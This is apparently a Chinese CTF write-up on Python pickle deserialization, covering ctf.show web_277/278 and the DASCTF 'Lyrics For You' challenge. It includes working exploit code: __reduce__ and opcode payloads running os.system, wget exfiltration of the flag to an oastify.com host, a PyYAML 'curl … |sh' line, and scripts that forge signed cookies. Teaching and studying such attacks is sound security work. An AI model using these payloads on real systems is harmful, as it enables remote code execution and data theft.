python反序列化_0x01

python pickle反序列化

DASCTF 碰到了, 正好赛后复现整理一下 ( 当时在粤盾看监控,没细看 )

0x01 芝士

python 反序列化有些明显特征 , 比如

pickle json

pickle 的反序列化漏洞利用 , 不需要恶意类 , 反序列化字符串里面包含类的所有定义 , 包括类的方法

其中
序列化
pickle.dump (文件)
pickle.dumps (字符串)

反序列化
pickle.load (文件)
pickle.loads (字符串)

1.1 Pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import pickle
import os

class choco():
def login(self,username,passwd):
#print(username)
return username=='admin' and passwd=='123'

# _wakeup()_
# 返回一个元组 ( 会调函数 + 回调函数的参数 )
def __reduce__(self):
print('reduce')
return os.system,('whoami',)

c0=choco()

#data = c.login('admin','123')
#print(data)

# 生成字节流
# serialize = pickle.dumps(c0)
# print(serialize)
# pickle.loads(serialize)

# 写入文件
# 二进制写 wb
with open("c0.ser","wb") as f:
pickle.dump(c0,f)

# 二进制读 rb
with open("c0.ser","rb") as f:
pickle.load(f)

1.2 Marshal

pickle 类无法序列化 code 类

为了弥补这个问题 , 2.6 之后支持 marshal 模块来处理
( 这个脚本在2.7 环境可以用 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# For marshal serialize attack

import base64
import pickle
import marshal

def foo():
import os
#os.system('whoami;/bin/sh') # evil code
os.system('whoami')

shell = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

#print(shell)

print(pickle.loads(shell))

1.3 pyYAML

!!python/object 标签

!!python/object/new 标签

!!python/object/apply 标签

这个就更简单了 , data=!!python/object/apply:os.system ["curl xxx.xxx.xxx.xxx |sh"] 就能利用

0x02 实例

2.1 web_277

pickle 反序列化 + wget 外带

1
2
3
4
where is flag?
<!--/backdoor?data=m=base64.b64decode(data)

m=pickle.loads(m) -->

( windows opcode 开头是 nt, 而 linux 的开头是 posix , 因此在linux 环境下执行 )

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
import os

class RCE(object):
def __reduce__(self):
return (os.system,('wget http://b0cwt58rh4xeu3a1ylrkiakwmnsfg54u.oastify.com/`cat flag`',))

obj = RCE()
payload = pickle.dumps(obj, protocol=0)
print(base64.b64encode(payload))
1
https://002cd5ed-6988-4d3b-bade-5db60c291544.challenge.ctf.show/backdoor?data=Y3Bvc2l4CnN5c3RlbQpwMAooVndnZXQgaHR0cDovL2IwY3d0NThyaDR4ZXUzYTF5bHJraWFrd21uc2ZnNTR1Lm9hc3RpZnkuY29tL2BjYXQgZmxhZ2AKcDEKdHAyClJwMwou

2.2 web_278

跟 277 差不多 , 只是禁用了 os.system , 那换成popen

1
2
where is flag?
<!--/backdoor?data=m=base64.b64decode(data) m=pickle.loads(m) -->
1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
import os

class RCE(object):
def __reduce__(self):
return (os.popen,('wget http://bdsw65lru4ae73n1bl4kvaxwzn5gt6hv.oastify.com/`cat flag`',))

obj = RCE()
payload = pickle.dumps(obj, protocol=0)
print(base64.b64encode(payload))
1
https://2847dcc3-f3d2-4a97-9d19-172959e897c8.challenge.ctf.show/backdoor?data=Y29zCnBvcGVuCnAwCihWd2dldCBodHRwOi8vYmRzdzY1bHJ1NGFlNzNuMWJsNGt2YXh3em41Z3Q2aHYub2FzdGlmeS5jb20vYGNhdCBmbGFnYApwMQp0cDIKUnAzCi4=

0x03 DASCTF の Lyrics For You

warning 内容有点多 加上思路到现在依然不是很流畅 非战斗人员尽快离场

3.1 获取源码

在访问任意诗歌的时候 , 看 url 很明显是

1
../lyrics?lyrics={filename}

理论上可以读取任意文件 , 具体读取文件的思路:

3.1.1 路径获取

爆破路径一直是我的痛点 , 这里有个比较好的思路
参考 SekaiCTF 2022 Bottle Poem

利用Linux内核的 /proc 文件系统
访问 /proc/self/cmdline

cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令:cat /proc/pid/cmdline

在这题中会得到 :

1
2
3
.../lyrics?lyrics=/proc/self/cmdline

>> python3 -u /usr/etc/app/app.py
3.1.2 源码

进一步的读取源码 ../lyrics?lyrics=app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# app.py
import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
def __init__(self, username):
self.username = username


def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid


@app.route("/", methods=['GET'])
def index():
return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)

try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res


@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)

if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")

if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8)

3.2 相关代码

根据在源码的库

1
2
3
from config.secret_key import secret_code 
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie import pickle

那么 ../config/secret_key.py../cookie.py

3.2.1 密钥
1
secret_code = "EnjoyThePlayTime123456"
3.2.2 算法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# cookie.py
import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None


def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid


def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False


def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default


def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')

if len(value) > :
raise ValueError('Cookie value to long.')

def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

3.3 本地调试

3.3.1 漏洞触发点 pickle.loads

根据 return pickle.loads(base64.b64decode(msg))

1
2
3
4
5
6
7
def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

本地起一个环境试试 (这里本地调试 把 request.cookies.get(key) 都替换成了 key 且不要把WAF丢了 不然白调233)

3.3.2 opcode

pickle反序列化常用的__reduce()__用不了

利用OPcode这篇文章中给出的思路
相当于pickle的另一种可以被解析的编码来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# cookie.py
import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None


def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid


def cookie_check(key, secret=None):
a = key
data = tob(key)
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False


def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
value = key
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default


def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')


def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

# evil code
opcode = b"""cos
system
(S'whoami'
tR."""

# secret_code
secret="EnjoyThePlayTime123456"

# cookie_encode
# dumped data
msg = base64.b64encode(opcode)
# keep same sig , key -> secret
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
payload = tob('!') + sig + tob('?') + msg

# print
print("payload: ",payload)

get_cookie(key=payload,secret=secret)
3.3.3 WAF绕过

但是禁用了 R
其中opcode的可用替换

i 操作符

1
2
3
4
(S'whoami'
ios
system
.

o 操作符

1
2
3
4
(cos
system
S'whoami'
o.

3.4 攻击流程

真正触发pickle反序列化的是cookie.py里的cookie_decode方法

pickle反序列化触发的顺序是

  1. app.py board路由 get_cookie方法
1
2
3
4
5
6
7
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
  1. cookie.py get_cookie()方法 -> cookie_decode()方法
  2. 在msg参数触发pickle

最终 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from cookie import cookie_encode, cookie_check, waf, touni

opcode = b"""(cos
system
S'bash -c "/readflag > /tmp/c"'
o."""

secret="EnjoyThePlayTime123456"
msg = base64.b64encode(opcode)
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
payload = tob('!') + sig + tob('?') + msg
print("payload: ",payload)

url = "http://139.155.126.78:34572"
requests.get(url + "/board", cookies={"user": touni(payload)})

print(requests.get(url + "/lyrics?lyrics=/tmp/c").content.decode())

注意反弹shell bash -i不行,前面必须加个bash -c新启动一个bash
或者

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
from cookie import cookie_encode, cookie_check, waf, touni

secret = "EnjoyThePlayTime123456"

opcode = b'(S"/readflag > /tmp/o"\nios\nsystem\n.'
cookie = cookie_encode(("user", opcode), secret)

url = "http://139.155.126.78:34572"
requests.get(url + "/board", cookies={"user": touni(cookie)})

print(requests.get(url + "/lyrics?lyrics=/tmp/o").content.decode())

整体大概就是 msg=>cookie -> /board GET(cookie) -> get_cookie( ) -> cookie_decode( ) -> pickle.loads(base64.b64decode(msg))

0x04 未完待续

花了几个小时从零了解了下 pickle 的反序列化 , 还有很多概念没理解 , 又挖坑了 qwq , 对python 的了解还是太少了 , 不过从这个题目看得出来 python_pickle 的攻击面比 PHP 大太多了, 太自由了 doge